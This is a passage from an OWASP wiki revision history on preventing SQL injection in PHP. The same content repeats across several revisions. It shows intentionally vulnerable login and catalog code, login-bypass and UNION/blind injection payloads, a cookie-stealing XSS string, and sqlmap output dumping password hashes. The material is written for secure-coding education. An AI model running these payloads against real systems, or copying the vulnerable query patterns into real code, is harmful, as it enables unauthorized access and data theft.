$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Database Enumeration ===<br />
<br />
Blind SQL Injection is a very usefull attacks to enumerate backend DBMS data. We'll see in this section how to accomplish this task.<br />
<br />
As you remember our WEB Page is vulnerable to Blind SQL Injection since:<br />
<br />
* <nowiki> /catalog.php?id=1</nowiki> gives the same contents of <nowiki>/catalog.php?id=1 AND 1=1</nowiki><br />
* <nowiki> /catalog.php?id=1</nowiki> differs from <nowiki>/catalog.php?id=1 AND 1=0</nowiki><br />
<br />
'''Replacing TRUE expression: 1=1:''' <br />
<br />
Let's start with a simple example. We want to enumerate current database name. MySQL has a builtint function<br />
to accomplish this task: ''database()'':<br />
<br />
<nowiki> SELECT database()</nowiki><br />
<br />
''database()'' returns a string containing current database name. To find it's values through a Blind SQL Injection we need to catch out one character at time from it's result value.<br />
<br />
'''How to find out database() length:'''<br />
<br />
We know that ''SELECT LENGTH(database())'' return length of current database name. How can we find out it's value?<br />
<br />
By starting from 1 we need to compare original WEB Page with:<br />
* id=1 AND (LENGTH(database()) = 1)<br />
* id=1 AND (LENGTH(database()) = 2)<br />
* id=1 AND (LENGTH(database()) = 3)<br />
''....''<br />
<br />
until we find contents from starting page:<br />
* ''id=1 AND (LENGTH(database()) = 5)''<br />
<br />
We just find that current database name length is equals to five. Next step is to enumerate it's characters.<br />
<br />
''' database() chars enumeration: '''<br />
<br />
To this aim we need to use:<br />
* ''SUBSTR(string, offset, length):'' returns a substring of ''string'' starting from ''offset'' till<br />
''offset + length - 1''<br />
* ''ORD(char):'' returns ASCII value of ''char''<br />
<br />
It's easy to guess that:<br />
<br />
* ''ORD(SUBSTR(database,1,1)'' will return first char of ''database()<br />
* ''ORD(SUBSTR(database,2,1)'' will return second char of ''database()<br />
* ''ORD(SUBSTR(database,3,1)'' will return third char of ''database()<br />
and so on.<br />
<br />
These are some of techniques used by ''sqlmap'' to enumerate DBMS contents by exploiting a Blind SQL Injection Vulnerability.<br />
<br />
<nowiki><br />
[522] belch@wild:sqlmap/ => ./sqlmap.py --current-db -u "http://localhost/owaspbes/securecoding/catalog.php?id=1"<br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:45:06<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
current database: 'owasp'<br />
<br />
[*] shutting down at: 23:45:08<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[526] belch@wild:sqlmap/ => ./sqlmap.py --tables --database owasp -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:46:44<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
[2 tables]<br />
+-------+<br />
| books |<br />
| users |<br />
+-------+<br />
<br />
[*] shutting down at: 23:46:47<br />
<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[533] belch@wild:sqlmap/ => ./sqlmap.py -T users --database owasp --dump -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:48:08<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
Table: users<br />
[3 entries]<br />
+----+----------------------------------+----------+<br />
| id | password | username |<br />
+----+----------------------------------+----------+<br />
| 1 | 66f4b449b3a98abf87f2521e35513542 | larry |<br />
| 2 | 3b87c97d15e8eb11e51aa25e9a5770e9 | harry |<br />
| 3 | 21232f297a57a5a743894a0e4a801fc3 | admin |<br />
+----+----------------------------------+----------+<br />
<br />
[*] shutting down at: 23:48:22<br />
<br />
<br />
<br />
</nowiki><br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
= Defeating Automated Tools =<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29503OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:52:54Z<p>Dbellucci: </p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Database Enumeration ===<br />
<br />
Blind SQL Injection is a very usefull attacks to enumerate backend DBMS data. We'll see in this section how to accomplish this task.<br />
<br />
As you remember our WEB Page is vulnerable to Blind SQL Injection since:<br />
<br />
* <nowiki> /catalog.php?id=1</nowiki> gives the same contents of <nowiki>/catalog.php?id=1 AND 1=1</nowiki><br />
* <nowiki> /catalog.php?id=1</nowiki> differs from <nowiki>/catalog.php?id=1 AND 1=0</nowiki><br />
<br />
'''Replacing TRUE expression: 1=1:''' <br />
<br />
Let's start with a simple example. We want to enumerate current database name. MySQL has a builtint function<br />
to accomplish this task: ''database()'':<br />
<br />
<nowiki> SELECT database()</nowiki><br />
<br />
''database()'' returns a string containing current database name. To find it's values through a Blind SQL Injection we need to catch out one character at time from it's result value.<br />
<br />
'''How to find out database() length:'''<br />
<br />
We know that ''SELECT LENGTH(database())'' return length of current database name. How can we find out it's value?<br />
<br />
By starting from 1 we need to compare original WEB Page with:<br />
* id=1 AND (LENGTH(database()) = 1)<br />
* id=1 AND (LENGTH(database()) = 2)<br />
* id=1 AND (LENGTH(database()) = 3)<br />
''....''<br />
<br />
until we find contents from starting page:<br />
* ''id=1 AND (LENGTH(database()) = 5)''<br />
<br />
We just find that current database name length is equals to five. Next step is to enumerate it's characters.<br />
<br />
''' database() chars enumeration: '''<br />
<br />
To this aim we need to use:<br />
* ''SUBSTR(string, offset, length):'' returns a substring of ''string'' starting from ''offset'' till<br />
''offset + length - 1''<br />
* ''ORD(char):'' returns ASCII value of ''char''<br />
<br />
It's easy to guess that:<br />
<br />
* ''ORD(SUBSTR(database,1,1)'' will return first char of ''database()<br />
* ''ORD(SUBSTR(database,2,1)'' will return second char of ''database()<br />
* ''ORD(SUBSTR(database,3,1)'' will return third char of ''database()<br />
and so on.<br />
<br />
These are some of techniques used by ''sqlmap'' to enumerate DBMS contents by exploiting a Blind SQL Injection Vulnerability.<br />
<br />
<nowiki><br />
[522] belch@wild:sqlmap/ => ./sqlmap.py --current-db -u "http://localhost/owaspbes/securecoding/catalog.php?id=1"<br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:45:06<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
current database: 'owasp'<br />
<br />
[*] shutting down at: 23:45:08<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[526] belch@wild:sqlmap/ => ./sqlmap.py --tables --database owasp -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:46:44<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
[2 tables]<br />
+-------+<br />
| books |<br />
| users |<br />
+-------+<br />
<br />
[*] shutting down at: 23:46:47<br />
<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[533] belch@wild:sqlmap/ => ./sqlmap.py -T users --database owasp --dump -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:48:08<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
Table: users<br />
[3 entries]<br />
+----+----------------------------------+----------+<br />
| id | password | username |<br />
+----+----------------------------------+----------+<br />
| 1 | 66f4b449b3a98abf87f2521e35513542 | larry |<br />
| 2 | 3b87c97d15e8eb11e51aa25e9a5770e9 | harry |<br />
| 3 | 21232f297a57a5a743894a0e4a801fc3 | admin |<br />
+----+----------------------------------+----------+<br />
<br />
[*] shutting down at: 23:48:22<br />
<br />
<br />
<br />
</nowiki><br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29502OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:49:08Z<p>Dbellucci: /* Backend Database Enumeration */</p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
